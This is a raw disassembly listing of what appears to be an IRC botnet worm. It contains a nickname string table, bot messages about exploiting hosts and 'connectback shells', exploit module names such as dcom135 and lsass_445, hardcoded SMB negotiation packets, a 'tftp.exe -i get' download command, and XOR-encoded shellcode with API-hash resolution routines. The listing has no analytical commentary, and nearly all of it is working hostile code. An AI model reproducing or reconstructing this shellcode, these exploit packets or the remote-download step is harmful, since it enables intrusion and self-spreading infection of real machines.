DATA XREF: ___:0042DAD4o align 10h aBeal db 'Beal',0 ; DATA XREF: ___:0042DAD0o align 4 aBeacon db 'Beacon',0 ; DATA XREF: ___:0042DACCo align 10h aBayo db 'Bayo',0 ; DATA XREF: ___:0042DAC8o align 4 aBayles db 'Bayles',0 ; DATA XREF: ___:0042DAC4o align 10h aBaumiller db 'Baumiller',0 ; DATA XREF: ___:0042DAC0o align 4 aBatchelder db 'Batchelder',0 ; DATA XREF: ___:0042DABCo align 4 aBashevis db 'Bashevis',0 ; DATA XREF: ___:0042DAB8o align 4 aBasavappa db 'Basavappa',0 ; DATA XREF: ___:0042DAB4o align 10h aBartoo db 'Bartoo',0 ; DATA XREF: ___:0042DAB0o align 4 aBartolome db 'Bartolome',0 ; DATA XREF: ___:0042DAACo align 4 aBartholomew db 'Bartholomew',0 ; DATA XREF: ___:0042DAA8o aBarry db 'Barry',0 ; DATA XREF: ___:0042DAA4o align 4 aBarriola db 'Barriola',0 ; DATA XREF: ___:0042DAA0o align 4 aBarnett db 'Barnett',0 ; DATA XREF: ___:0042DA9Co aBarneson db 'Barneson',0 ; DATA XREF: ___:0042DA98o align 4 aBarbetti db 'Barbetti',0 ; DATA XREF: ___:0042DA94o align 4 aBarberi db 'Barberi',0 ; DATA XREF: ___:0042DA90o aBaranowska db 'Baranowska',0 ; DATA XREF: ___:0042DA8Co align 4 aBaranczak db 'Baranczak',0 ; DATA XREF: ___:0042DA88o align 4 aBarajas db 'Barajas',0 ; DATA XREF: ___:0042DA84o aBarabesi db 'Barabesi',0 ; DATA XREF: ___:0042DA80o align 4 aBanta db 'Banta',0 ; DATA XREF: ___:0042DA7Co align 10h aBaltz db 'Baltz',0 ; DATA XREF: ___:0042DA78o align 4 aBallew db 'Ballew',0 ; DATA XREF: ___:0042DA74o align 10h aBallatori db 'Ballatori',0 ; DATA XREF: ___:0042DA70o align 4 aBaleja db 'Baleja',0 ; DATA XREF: ___:0042DA6Co align 4 aBakanowsky db 'Bakanowsky',0 ; DATA XREF: ___:0042DA68o align 10h aBailar db 'Bailar',0 ; DATA XREF: ___:0042DA64o align 4 aBagnold db 'Bagnold',0 ; DATA XREF: ___:0042DA60o aBaglivo db 'Baglivo',0 ; DATA XREF: ___:0042DA5Co aBady db 'Bady',0 ; DATA XREF: ___:0042DA58o align 10h aBackus db 'Backus',0 ; DATA XREF: ___:0042DA54o align 4 aBachmuth db 'Bachmuth',0 ; DATA XREF: ___:0042DA50o align 4 aAzima db 'Azima',0 ; DATA XREF: ___:0042DA4Co align 4 aAyling db 'Ayling',0 ; DATA XREF: ___:0042DA48o align 4 aAykroyd db 'Aykroyd',0 ; DATA XREF: ___:0042DA44o aAyiemba db 'Ayiemba',0 ; DATA XREF: ___:0042DA40o aAxworthy db 'Axworthy',0 ; DATA XREF: ___:0042DA3Co align 10h aAxelrod db 'Axelrod',0 ; DATA XREF: ___:0042DA38o aAurelius db 'Aurelius',0 ; DATA XREF: ___:0042DA34o align 4 aAugustus db 'Augustus',0 ; DATA XREF: ___:0042DA30o align 10h aAtkins db 'Atkins',0 ; DATA XREF: ___:0042DA2Co align 4 aArky db 'Arky',0 ; DATA XREF: ___:0042DA28o align 10h aArjas db 'Arjas',0 ; DATA XREF: ___:0042DA24o align 4 aAristotle db 'Aristotle',0 ; DATA XREF: ___:0042DA20o align 4 aArellano db 'Arellano',0 ; DATA XREF: ___:0042DA1Co align 10h aArduini db 'Arduini',0 ; DATA XREF: ___:0042DA18o aArbia db 'Arbia',0 ; DATA XREF: ___:0042DA14o align 10h aAntos db 'Antos',0 ; DATA XREF: ___:0042DA10o align 4 aAnthony db 'Anthony',0 ; DATA XREF: ___:0042DA0Co aAnsley db 'Ansley',0 ; DATA XREF: ___:0042DA08o align 4 aAnfinrud db 'Anfinrud',0 ; DATA XREF: ___:0042DA04o align 4 aAndron db 'Andron',0 ; DATA XREF: ___:0042DA00o align 4 aAndrelus db 'Andrelus',0 ; DATA XREF: ___:0042D9FCo align 4 aAndo db 'Ando',0 ; DATA XREF: ___:0042D9F8o align 10h aAndel db 'Andel',0 ; DATA XREF: ___:0042D9F4o align 4 aAnand db 'Anand',0 ; DATA XREF: ___:0042D9F0o align 10h aAmsden db 'Amsden',0 ; DATA XREF: ___:0042D9ECo align 4 aAmeer db 'Ameer',0 ; DATA XREF: ___:0042D9E8o align 10h aAmatangelo db 'Amatangelo',0 ; DATA XREF: ___:0042D9E4o align 4 aAmaral db 'Amaral',0 ; DATA XREF: ___:0042D9E0o align 4 aAltenhofen db 'Altenhofen',0 ; DATA XREF: ___:0042D9DCo align 10h aAltenberger db 'Altenberger',0 ; DATA XREF: ___:0042D9D8o aAltavilla db 'Altavilla',0 ; DATA XREF: ___:0042D9D4o align 4 aAlongi db 'Alongi',0 ; DATA XREF: ___:0042D9D0o align 10h aAllison db 'Allison',0 ; DATA XREF: ___:0042D9CCo aAleks db 'Aleks',0 ; DATA XREF: ___:0042D9C8o align 10h aAlda db 'Alda',0 ; DATA XREF: ___:0042D9C4o align 4 aAlcorn db 'Alcorn',0 ; DATA XREF: ___:0042D9C0o align 10h aAlavi db 'Alavi',0 ; DATA XREF: ___:0042D9BCo align 4 aAhlers db 'Ahlers',0 ; DATA XREF: ___:0042D9B8o align 10h aAdorno db 'Adorno',0 ; DATA XREF: ___:0042D9B4o align 4 aAdibe db 'Adibe',0 ; DATA XREF: ___:0042D9B0o align 10h aAdelstein db 'Adelstein',0 ; DATA XREF: ___:0042D9ACo align 4 aAddison db 'Addison',0 ; DATA XREF: ___:off_42D9A8o aAdams db 'Adams',0 ; DATA XREF: ___:0042D9A4o align 4 aAckerman db 'Ackerman',0 ; DATA XREF: ___:0042D9A0o align 4 aAbdulrazak db 'Abdulrazak',0 ; DATA XREF: ___:off_42D99Co align 4 byte_4315F4 db 50h ; DATA XREF: ___:0040ABE6o ; ___:0040ABF3r db 43h, 2 dup(0) dword_4315F8 dd 7C7325h ; DATA XREF: ___:0040AC91o dword_4315FC dd 5D73255Bh, 7Ch ; DATA XREF: ___:0040AD9Bo dword_431604 dd 3F3F3Fh ; DATA XREF: ___:loc_40AD92o ; sub_41AF8F:loc_41B052o dword_431608 dd 334B32h ; DATA XREF: ___:0040AD8Bo dword_43160C dd 5058h ; DATA XREF: ___:0040AD7Do ; ___:0040AF89o ... dword_431610 dd 4B32h ; DATA XREF: ___:0040AD6Do ; ___:0040AF79o ... dword_431614 dd 454Dh ; DATA XREF: ___:0040AD54o ; ___:0040AF60o ... dword_431618 dd 3839h ; DATA XREF: ___:0040AD44o ; ___:0040AF50o ... dword_43161C dd 544Eh ; DATA XREF: ___:0040AD34o ; ___:0040AF41o ... dword_431620 dd 3539h ; DATA XREF: ___:0040AD26o ; ___:0040AF33o ... dword_431624 dd 5D64255Bh, 7325h ; DATA XREF: sub_40ADE1+3Ao off_43162C dd offset byte_5D4D5B ; DATA XREF: sub_40ADE1+2Co ; sub_40ADE1+57o aMirc_0 db 'mIRC',0 ; DATA XREF: sub_40ADE1+18o ; sub_41875E+5o align 4 aSSSS db '%s|%s|%s|%s|',0 ; DATA XREF: ___:0040B0D6o align 4 a99 db '99',0 ; DATA XREF: ___:loc_40B098o align 4 a0D db '0%d',0 ; DATA XREF: ___:0040B072o aDdDhDm db '%dd %dh %dm',0 ; DATA XREF: ___:0040B054o ; sub_41ADD8+52o off_43165C dd offset byte_4B4E55 ; DATA XREF: ___:0040B037o dword_431660 dd 345053h ; DATA XREF: ___:0040B02Do dword_431664 dd 34h ; DATA XREF: ___:0040B021o dword_431668 dd 335053h ; DATA XREF: ___:0040B014o dword_43166C dd 33h ; DATA XREF: ___:0040B003o dword_431670 dd 325053h ; DATA XREF: ___:0040AFF6o dword_431674 dd 32h ; DATA XREF: ___:0040AFE5o ; =============== S U B R O U T I N E ======================================= sub_431678 proc near ; DATA XREF: ___:0040AFD8o push ebx push eax xor [eax], eax sub_431678 endp ; sp-analysis failed ; --------------------------------------------------------------------------- dword_43167C dd 305053h ; DATA XREF: ___:0040AFBAo dword_431680 dd 4E55h ; DATA XREF: ___:loc_40AF9Eo dword_431684 dd 3332h ; DATA XREF: ___:0040AF97o ; --------------------------------------------------------------------------- loc_431688: ; DATA XREF: sub_40B2B3+C4o jmp short loc_43168C ; --------------------------------------------------------------------------- loc_43168A: ; CODE XREF: ___:loc_43168Cp jmp short loc_431691 ; --------------------------------------------------------------------------- loc_43168C: ; CODE XREF: ___:loc_431688j call loc_43168A loc_431691: ; CODE XREF: ___:loc_43168Aj pop ebx xor ecx, ecx ; --------------------------------------------------------------------------- db 66h, 0B9h word_431696 dw 0FFFFh ; DATA XREF: sub_40B2B3+CCw db 80h, 73h, 0Eh byte_43169B db 0FFh ; DATA XREF: sub_40B2B3+D3w dd 0F9E243h ; --------------------------------------------------------------------------- loc_4316A0: ; DATA XREF: sub_40B2B3+A2o jmp short loc_4316A4 ; --------------------------------------------------------------------------- loc_4316A2: ; CODE XREF: ___:loc_4316A4p jmp short loc_4316A9 ; --------------------------------------------------------------------------- loc_4316A4: ; CODE XREF: ___:loc_4316A0j call loc_4316A2 loc_4316A9: ; CODE XREF: ___:loc_4316A2j pop ebx xor ecx, ecx ; --------------------------------------------------------------------------- db 0B1h byte_4316AD db 0FFh ; DATA XREF: sub_40B2B3+AAw dw 7380h db 0Ch byte_4316B1 db 0FFh ; DATA XREF: sub_40B2B3+B0w dw 0E243h dd 0F9h dword_4316B8 dd 364C033h, 0C783040h, 8B0C408Bh, 8BAD1C70h, 9EB0840h ; DATA XREF: sub_40B13C+57o dd 8D34408Bh, 408B7C40h, 3D08B3Ch, 0CA8B3C40h, 8B784803h dd 0DA8B2041h, 331C5903h, 57F633FFh, 3CA8B57h, 7981100Ch dd 7373650Ah, 8B027541h, 3798133h, 72685474h, 3B8B0275h dd 8304C083h, 0F68504C3h, 0FF85DB74h, 0F203D774h, 0E857FA03h dword_43171C dd 12h ; DATA XREF: sub_40B13C+3Dw aTftp_exeIGet db 'tftp.exe -i get ',0 ; DATA XREF: sub_40B13C+79o aJ_0 db 'j',0 db 0E8h dword_431735 dd 17h ; DATA XREF: sub_40B13C+4Dw ; --------------------------------------------------------------------------- jnz short near ptr byte_43173C retn ; --------------------------------------------------------------------------- byte_43173C db 0E8h ; CODE XREF: ___:00431739j dword_43173D dd 1 ; DATA XREF: sub_40B13C+45w byte_431741 db 0, 6Ah, 0 ; DATA XREF: sub_40B13C+C2o dd 7E8h db 0, 0Fh, 84h dword_43174B dd 0FFFFFFEDh ; DATA XREF: sub_40B13C+5Dw ; --------------------------------------------------------------------------- retn ; --------------------------------------------------------------------------- pop eax pop ebx pop ebp push eax sub esp, 54h xor eax, eax mov edi, esp lea ecx, [eax+40h] mov edx, edi rep stosb mov al, 44h stosd push edi push edx push ecx push ecx push 28h push 1 push ecx push ecx push ebp push ebx call esi add esp, 54h test eax, eax retn ; --------------------------------------------------------------------------- align 4 dd 234032Dh, 65726874h, 6C206461h, 2747369h, 202D03h aSNoSThreadFoun db '%s No %s thread found.',0 ; DATA XREF: sub_40B648+51o align 4 aSSStopped_DThr db '%s %s stopped. (%d thread(s) stopped.)',0 ; DATA XREF: sub_40B648+35o align 10h aSym db 'sym',0 ; DATA XREF: sub_40C3E8+169o dd 0 db 2 dup(0) aSymantec db 'Symantec',0 ; DATA XREF: sub_40BA9E+30o ; ___:0040E229o ... align 4 dd 5 dup(0) dword_4317F8 dd 0B97h ; DATA XREF: sub_401ACD+1D42r ; sub_401ACD+1D6Ao ... off_4317FC dd offset sub_40EAE9 ; DATA XREF: sub_40C3E8+1EAr dword_431800 dd 0 ; DATA XREF: sub_40B90E+2Eo ; ___:0040D759w ... dword_431804 dd 1 ; DATA XREF: sub_40BD91+1Fr dword_431808 dd 1 ; DATA XREF: sub_40BD91+3B3r dword_43180C dd 0 ; DATA XREF: sub_40BD91+292r aDcom135 db 'dcom135',0 dd 63440000h, 33316D6Fh, 35h, 5 dup(0) dd 87h, 40DF4Ch, 0 dd 1, 2 dup(0) dd 636E76h, 0 dd 6E760000h, 63h, 6 dup(0) dd 170Ch, 40EC1Fh, 0 dd 2 dup(1), 0 aAsn445 db 'asn445',0 align 4 dd 53410000h, 2D312E4Eh, 424D53h, 5 dup(0) dd 1BDh, 40D59Dh, 0 dd 2 dup(1), 0 aAsn139 db 'asn139',0 align 4 dd 53410000h, 2D312E4Eh, 20424D53h, 544Eh, 4 dup(0) dd 8Bh, 40D59Dh, 0 dd 2 dup(1), 0 aVncs db 'vncs',0 align 4 dd 54480000h, 562D5054h, 434Eh, 5 dup(0) dd 170Ch, 41B6A1h, 4 dup(0) aLsass_445 db 'lsass_445',0 aLsass_445_0 db 'lsass_445',0 dd 5 dup(0) dd 1BDh, 40E830h, 0 dd 2 dup(1), 2 dup(0) dd 10100h, 0Eh dup(0) aAsn445_0 db 'asn445',0 align 4 db 2 dup(0) byte_4319DA db 1 ; DATA XREF: sub_401ACD:loc_403789r ; sub_401ACD+1CC6o db 73h dd 6D79h, 0 dd 100h, 3 dup(0) ; --------------------------------------------------------------------------- jmp short loc_431A06 ; =============== S U B R O U T I N E ======================================= sub_4319F6 proc near ; CODE XREF: sub_4319F6:loc_431A06p pop edx dec edx xor ecx, ecx mov cx, 166h loc_4319FE: ; CODE XREF: sub_4319F6+Cj xor byte ptr [edx+ecx], 99h loop loc_4319FE jmp short loc_431A0B ; --------------------------------------------------------------------------- loc_431A06: ; CODE XREF: ___:004319F4j call sub_4319F6 loc_431A0B: ; CODE XREF: sub_4319F6+Ej jo short near ptr dword_431994+12h cwde cdq cdq retn sub_4319F6 endp ; sp-analysis failed ; --------------------------------------------------------------------------- db 21h, 95h, 69h dd 9912E664h, 3485E912h, 1291D912h, 0A5EA1241h, 0EF126A9Ah dd 126A9AE1h, 629AB9E7h, 0AA8DD712h, 0C8CECF74h, 629AA612h dd 97F36B12h, 0ED3F6AC0h, 1AC6C091h, 7BDC9D5Eh, 0C7C6C070h dd 0DF125412h, 485A9ABDh, 0AA589A78h, 9112FF50h, 9A85DF12h dd 9B78585Ah, 9912589Ah, 63125A9Ah, 5F1A6E12h, 0F3491297h dd 0E571C09Ah, 1A999999h, 0CFCB945Fh, 0C365CE66h, 9DF34112h dd 99F071C0h, 0C9C99999h, 98F3C9C9h, 0CE669BF3h, 5E411269h dd 9E999B9Eh, 1059AA24h, 89F39DDEh, 0CE66CACEh, 0CA98F36Dh dd 0C961CE66h, 0CE66CAC9h, 0DD751A65h, 42AA6D12h, 10C089F3h dd 627B1785h, 10A1DF10h, 0DF10A5DFh, 0B5DF5ED9h, 99999898h dd 0C989DE14h, 0CACACACFh, 0CACA98F3h, 0FAA5DE5Eh, 1499FDF4h dd 0CAC9A5DEh, 0C97DCE66h, 0AA71CE66h, 591C3559h, 0CBC860ECh dd 4B66CACFh, 7B32C0C3h, 5A59AA77h, 66676271h, 0EDFCDE66h dd 0FAF6EBC9h, 0EBFDFDD8h, 99EAEAFCh, 0F8FCEBDAh, 0EBC9FCEDh dd 0EAFCFAF6h, 0DC99D8EAh, 0C9EDF0E1h, 0FCFAF6EBh, 0D599EAEAh dd 0D5FDF8F6h, 0F8EBFBF0h, 99D8E0EBh, 0C6ABEAEEh, 0CE99ABAAh dd 0F6CAD8CAh, 0EDFCF2FAh, 0F0FB99D8h, 0F599FDF7h, 0FCEDEAF0h dd 0FAF899F7h, 0EDE9FCFAh, 99h aTotalDInS_ db ' Total: %d in %s.',0 ; DATA XREF: sub_40B90E+86o align 4 dword_431B88 dd 25370320h, 203A0373h, 2C6425h ; DATA XREF: sub_40B90E+46o unk_431B94 db 2Dh ; - ; DATA XREF: sub_40B90E+11o db 3, 34h, 2 db 73h ; s db 63h, 61h, 6Eh db 2 db 3, 2Dh, 20h aExploitStatist db 'Exploit Statistics:',0 unk_431BB4 db 2Dh ; - ; DATA XREF: sub_40B9DD+38o db 3, 34h, 2 db 73h ; s db 63h, 61h, 6Eh db 2 db 3, 2Dh, 20h db 54h ; T db 72h, 61h, 6Eh db 73h ; s db 66h, 65h, 72h db 20h db 53h, 74h, 61h db 74h ; t db 69h, 73h, 74h db 69h ; i db 63h, 73h, 3Ah db 20h db 2, 54h, 46h db 54h ; T db 50h, 2, 3Ah db 20h db 25h, 64h, 2Ch db 20h db 2, 46h, 54h db 50h ; P db 2, 3Ah, 20h aDTotalDInS_ db '%d, Total %d in %s.',0 unk_431BFC db 2Dh ; - ; DATA XREF: sub_40BA49+22o db 3, 34h, 2 db 73h ; s db 63h, 61h, 6Eh db 2 db 3, 2Dh, 20h aDConnectbackSh db '%d connectback shells in %s.',0 align 4 aScanTimeS_ db ' Scan Time: %s.',0 ; DATA XREF: sub_40BA9E+7Fo dword_431C38 dd 25370320h, 28200373h, 73253403h, 2C2903h ; DATA XREF: sub_40BA9E+40o dword_431C48 dd 234032Dh, 6E616373h, 202D0302h, 6C707845h, 2074696Fh ; DATA XREF: sub_40BA9E+14o dd 7473694Ch, 3Ah unk_431C64 db 2Dh ; - ; DATA XREF: ___:0040BCD7o db 3, 34h, 2 db 65h ; e db 78h, 70h, 6Ch db 6Fh ; o db 69h, 74h, 2 db 3 aFinishedExploi db '- finished exploiting %s (%d attempts)',0 unk_431C98 db 2Dh ; - ; DATA XREF: ___:0040BBE5o db 3, 34h, 2 db 65h ; e db 78h, 70h, 6Ch db 6Fh ; o db 69h, 74h, 2 db 3 db 2Dh, 20h, 74h db 72h ; r db 79h, 69h, 6Eh db 67h ; g db 20h, 2, 25h db 73h ; s db 2, 20h, 6Fh aNSPortD___ db 'n %s (port %d)...',0 align 4 unk_431CC8 db 2Dh ; - ; DATA XREF: sub_40BD1A+42o db 3, 34h, 2 db 73h ; s db 63h, 61h, 6Eh db 2 db 3, 2Dh, 20h aScanNotActive_ db 'Scan not active.',0 align 4 unk_431CE8 db 2Dh ; - ; DATA XREF: sub_40BD1A+2Co db 3, 34h, 2 db 73h ; s db 63h, 61h, 6Eh db 2 db 3, 2Dh, 20h aCurrentIpS_ db 'Current IP: %s.',0 unk_431D04 db 2Dh ; - ; DATA XREF: sub_40BD91+4B7o db 3, 34h, 2 db 68h ; h db 2 dup(74h), 70h db 64h ; d db 2, 3, 2Dh aFailedToSta_30 db ' Failed to start server, error: <%d>.',0 align 4 unk_431D38 db 2Dh ; - ; DATA XREF: sub_40BD91+38Fo db 3, 34h, 2 db 63h ; c db 6Fh, 2 dup(6Eh) db 65h ; e db 63h, 74h, 62h db 61h ; a db 63h, 6Bh, 2 db 3 aFailedToSta_31 db '- Failed to start server, error: <%d>.',0 unk_431D70 db 2Dh ; - ; DATA XREF: sub_40BD91+321o db 3, 34h, 2 db 63h ; c db 6Fh, 2 dup(6Eh) db 65h ; e db 63h, 74h, 62h db 61h ; a db 63h, 6Bh, 2 db 3 aServerStarte_2 db '- Server started on Port: %d.',0 align 10h unk_431DA0 db 2Dh ; - ; DATA XREF: sub_40BD91+26Co db 3, 34h, 2 db 66h ; f db 74h, 70h, 64h db 2 db 3, 2Dh, 20h aFailedToSta_32 db 'Failed to start server, error: <%d>.',0 align 4 unk_431DD4 db 2Dh ; - ; DATA XREF: sub_40BD91+1FEo db 3, 34h, 2 db 66h ; f db 74h, 70h, 64h db 2 db 3, 2Dh, 20h aServerStarte_3 db 'Server started on Port: %d, File: %s.',0 align 4 unk_431E08 db 2Dh ; - ; DATA XREF: sub_40BD91+148o db 3, 34h, 2 db 74h ; t db 66h, 74h, 70h db 64h ; d db 2, 3, 2Dh aFailedToSta_33 db ' Failed to start server, error: <%d>.',0 align 4 unk_431E3C db 2Dh ; - ; DATA XREF: sub_40C3E8+EEo db 3, 34h, 2 db 73h ; s db 63h, 61h, 6Eh db 2 db 3, 2Dh, 20h aIpSPortDIsOpen db 'IP: %s, Port %d is open.',0 align 4 unk_431E64 db 2Dh ; - ; DATA XREF: sub_40C3E8+93o db 3, 34h, 2 db 73h ; s db 63h, 61h, 6Eh db 2 db 3, 2Dh, 20h aIpSDScanThread db 'IP: %s:%d, Scan thread: %d, Sub-thread: %d.',0 unk_431E9C db 2Dh ; - ; DATA XREF: sub_40C3E8+3E6o db 3, 34h, 2 db 73h ; s db 63h, 61h, 6Eh db 2 db 3, 2Dh, 20h aFinishedAtSDAf db 'Finished at %s:%d after %d minute(s) of scanning.',0 align 4 unk_431EDC db 2Dh ; - ; DATA XREF: sub_40C3E8+38Bo db 3, 34h, 2 db 73h ; s db 63h, 61h, 6Eh db 2 db 3, 2Dh, 20h aFailedToStartW db 'Failed to start worker thread, error: <%d>.',0 unk_431F14 db 2Dh ; - ; DATA XREF: sub_40C3E8+31Bo db 3, 34h, 2 db 73h ; s db 63h, 61h, 6Eh db 2 db 3, 2Dh, 20h aSDScanThreadDS db '%s:%d, Scan thread: %d, Sub-thread: %d.',0 unk_431F48 db 2Dh ; - ; DATA XREF: sub_40C3E8+29Fo db 3, 34h, 2 db 73h ; s db 63h, 61h, 6Eh db 2 db 3, 2Dh, 20h aFailedToInitia db 'Failed to initialize critical section.',0 align 4 dword_431F7C dd 234032Dh, 6E616373h, 202D0302h, 203A5049h, 50207325h ; DATA XREF: sub_40C85F+92o dd 3A74726Fh, 20642520h, 6F207369h, 2E6E6570h, 0 db 2Dh ; - db 3, 34h, 2 db 73h ; s db 63h, 61h, 6Eh db 2 db 3, 2Dh, 20h aScanningIpSPor db 'Scanning IP: %s, Port: %d.',0 align 4 db 2Dh ; - db 3, 34h, 2 db 70h ; p db 6Fh, 72h, 74h db 73h ; s db 63h, 61h, 6Eh db 2 db 3, 2Dh, 20h aFinishedScanni db 'Finished scanning IP: %s.',0 align 4 db 2Dh ; - db 3, 34h, 2 db 70h ; p db 6Fh, 72h, 74h db 73h ; s db 63h, 61h, 6Eh db 2 db 3, 2Dh, 20h aScanningIpSP_0 db 'Scanning IP: %s, Port: %d.',0 align 4 aRbrbrbrb db 'BBBB',0 ; DATA XREF: sub_40CD9E+B2o align 10h dword_432030 dd 10FF8h, 0 ; DATA XREF: sub_40CD9E+6Ao dword_432038 dd 10FF8h ; DATA XREF: sub_40CD9E+79o dword_43203C dd 7FFDF020h, 0 ; DATA XREF: sub_40CD9E+162o dword_432044 dd 424D53FFh, 72h, 0C8531800h, 3 dup(0) ; DATA XREF: sub_40D1C8+7Bo dd 13370000h, 0 dd 2006200h aPcNetworkProgr db 'PC NETWORK PROGRAM 1.0',0 db 2 db 4Ch ; L db 41h, 4Eh, 4Dh db 41h ; A db 4Eh, 31h, 2Eh db 30h ; 0 align 2 dw 5702h aIndowsForWorkg db 'indows for Workgroups 3.1a',0 db 2 dd 2E314D4Ch, 30305832h, 4C020032h, 414D4E41h, 312E324Eh dd 544E0200h, 204D4C20h, 32312E30h, 0 dword_4320CC dd 424D53FFh, 73h, 0C8071800h, 3 dup(0) ; DATA XREF: sub_40D1C8+34o dd 13370000h, 0 dd 0FF0Ch, 0A110400h, 2 dup(0) dword_4320FC dd 0 ; DATA XREF: sub_40D1C8+44o dd 800000D4h, 0 unk_432108 db 81h ; ; DATA XREF: sub_40D2A2+Ao db 2 dup(0), 44h aCkfdenecfdeffc db ' CKFDENECFDEFFCFGEFFCCACACACACACA',0 aCacacacacacaca db ' CACACACACACACACACACACACACACACAAA',0 dd 0 byte_432154 db 41h ; DATA XREF: sub_40D340+107r aBcdefghijklmno db 'BCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/',0 align 4 ; =============== S U B R O U T I N E ======================================= sub_432198 proc near ; DATA XREF: ___:0040D61Fo push ebx push esi push edi sub sp, 80h mov esi, esp call sub_432294 push dword ptr [esi] push 63D61209h call sub_4322AA mov [esi+8], eax call sub_43225D push dword ptr [esi+4] push 0CA2BD06Bh call sub_4322AA mov [esi+0Ch], eax call sub_43220F push dword ptr [esi+4] push 4C0297FAh call sub_4322AA xor ebx, ebx push 410h push ebx call eax mov ebx, eax push esi mov esi, [esi+10h] mov edi, eax mov ecx, 410h rep movsb pop esi xor eax, eax push eax push eax push eax push ebx push eax push eax call dword ptr [esi+0Ch] mov eax, [esi+8] add sp, 80h pop edi pop esi pop ebx jmp eax sub_432198 endp ; =============== S U B R O U T I N E ======================================= sub_43220F proc near ; CODE XREF: sub_432198+33p var_20 = dword ptr -20h var_14 = dword ptr -14h pusha call sub_432238 mov eax, [esp+20h+var_14] lea ebx, [eax+7Ch] add dword ptr [ebx+3Ch], 5 add dword ptr [ebx+28h], 1000h and dword ptr [ebx+28h], 0FFFFF000h mov eax, [esp+20h+var_20] add esp, 14h push eax xor eax, eax retn sub_43220F endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_432238 proc near ; CODE XREF: sub_43220F+1p xor edx, edx push dword ptr fs:[edx] mov fs:[edx], esp xor ebx, ebx mov eax, 42904290h loc_432247: ; CODE XREF: sub_432238+1Aj xor ecx, ecx mov cl, 2 mov edi, ebx repe scasd jz short loc_432254 inc ebx jmp short loc_432247 ; --------------------------------------------------------------------------- loc_432254: ; CODE XREF: sub_432238+17j mov [esi+10h], edi pop dword ptr fs:[edx] pop eax popa retn sub_432238 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_43225D proc near ; CODE XREF: sub_432198+1Ep pusha mov edi, 7FFDF020h mov ebx, [edi] mov eax, [esi+8] mov [edi], eax mov edi, [edi-8] add edi, 178h mov ecx, edi loc_432275: ; CODE XREF: sub_43225D+1Ej cmp [ecx], ebx jz short loc_43227D mov ecx, [ecx] jmp short loc_432275 ; --------------------------------------------------------------------------- loc_43227D: ; CODE XREF: sub_43225D+1Aj mov edx, edi loc_43227F: ; CODE XREF: sub_43225D+2Aj cmp [edx+4], ebx jz short loc_432289 mov edx, [edx+4] jmp short loc_43227F ; --------------------------------------------------------------------------- loc_432289: ; CODE XREF: sub_43225D+25j mov [ecx], edx mov [edx+4], ecx mov byte ptr [ebx-3], 1 popa retn sub_43225D endp ; =============== S U B R O U T I N E ======================================= sub_432294 proc near ; CODE XREF: sub_432198+Ap mov eax, ds:7FFDF00Ch mov eax, [eax+1Ch] mov ebx, [eax+8] mov [esi], ebx mov eax, [eax] mov eax, [eax+8] mov [esi+4], eax retn sub_432294 endp ; =============== S U B R O U T I N E ======================================= sub_4322AA proc near ; CODE XREF: sub_432198+16p ; sub_432198+2Bp ... var_4 = dword ptr -4 arg_0 = dword ptr 4 arg_4 = dword ptr 8 pusha mov ebp, [esp+20h+arg_4] mov eax, [ebp+3Ch] mov edx, [ebp+eax+78h] add edx, ebp mov ecx, [edx+18h] mov ebx, [edx+20h] add ebx, ebp loc_4322C0: ; CODE XREF: sub_4322AA+33j jecxz short loc_4322FA dec ecx mov esi, [ebx+ecx*4] add esi, ebp xor edi, edi xor eax, eax cld loc_4322CD: ; CODE XREF: sub_4322AA+2Dj lodsb cmp al, ah jz short loc_4322D9 ror edi, 0Dh add edi, eax jmp short loc_4322CD ; --------------------------------------------------------------------------- loc_4322D9: ; CODE XREF: sub_4322AA+26j cmp edi, [esp+20h+arg_0] jnz short loc_4322C0 mov ebx, [edx+24h] add ebx, ebp mov cx, [ebx+ecx*2] mov ebx, [edx+1Ch] add ebx, ebp mov eax, [ebx+ecx*4] add eax, ebp mov [esp+20h+var_4], eax popa retn 8 ; --------------------------------------------------------------------------- loc_4322FA: ; CODE XREF: sub_4322AA:loc_4322C0j ; sub_4322AA:loc_4322FAj jmp short loc_4322FA sub_4322AA endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_432300 proc near ; DATA XREF: ___:0040D5CDo arg_0 = dword ptr 4 add esp, 0FFFFF254h cld call sub_432352 mov eax, [ebp+3Ch] mov edi, [ebp+eax+78h] add edi, ebp mov ecx, [edi+18h] mov ebx, [edi+20h] add ebx, ebp loc_43231D: ; CODE XREF: sub_432300+38j jecxz short loc_43234D dec ecx mov esi, [ebx+ecx*4] add esi, ebp xor eax, eax cdq loc_432328: ; CODE XREF: sub_432300+32j lodsb test al, al jz short loc_432334 ror edx, 0Dh add edx, eax jmp short loc_432328 ; --------------------------------------------------------------------------- loc_432334: ; CODE XREF: sub_432300+2Bj cmp edx, [esp+arg_0] jnz short loc_43231D mov ebx, [edi+24h] add ebx, ebp mov cx, [ebx+ecx*2] mov ebx, [edi+1Ch] add ebx, ebp mov ebx, [ebx+ecx*4] add ebx, ebp loc_43234D: ; CODE XREF: sub_432300:loc_43231Dj mov [esp+arg_0], ebx retn sub_432300 endp ; =============== S U B R O U T I N E ======================================= sub_432352 proc near ; CODE XREF: sub_432300+7p ; FUNCTION CHUNK AT 0043238A SIZE 00000008 BYTES xor eax, eax mov eax, fs:[eax+30h] test eax, eax js short loc_43236B mov eax, [eax+0Ch] mov esi, [eax+1Ch] lodsd mov ebp, [eax+8] jmp loc_432376 ; --------------------------------------------------------------------------- loc_43236B: ; CODE XREF: sub_432352+8j mov eax, [eax+34h] add eax, 7Ch mov ebp, [eax+3Ch] loc_432376: ; CODE XREF: sub_432352+14j pop edi xor esi, esi pusha push esi jmp short loc_43238A sub_432352 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_43237D proc near ; CODE XREF: sub_432352:loc_43238Ap push 60E0CEEFh push 0E8AFE98h push edi jmp edi sub_43237D endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_432352 loc_43238A: ; CODE XREF: sub_432352+29j call sub_43237D loc_43238F: ; DATA XREF: sub_40CD9E+320o add [eax+0], ah ; END OF FUNCTION CHUNK FOR sub_432352 ; --------------------------------------------------------------------------- dw 0 dword_432394 dd 62B0606h, 2050501h, 0A0h ; DATA XREF: sub_40CD9E+2F5o dword_4323A0 dd 30h ; DATA XREF: sub_40CD9E+2CAo dword_4323A4 dd 0A1h ; DATA 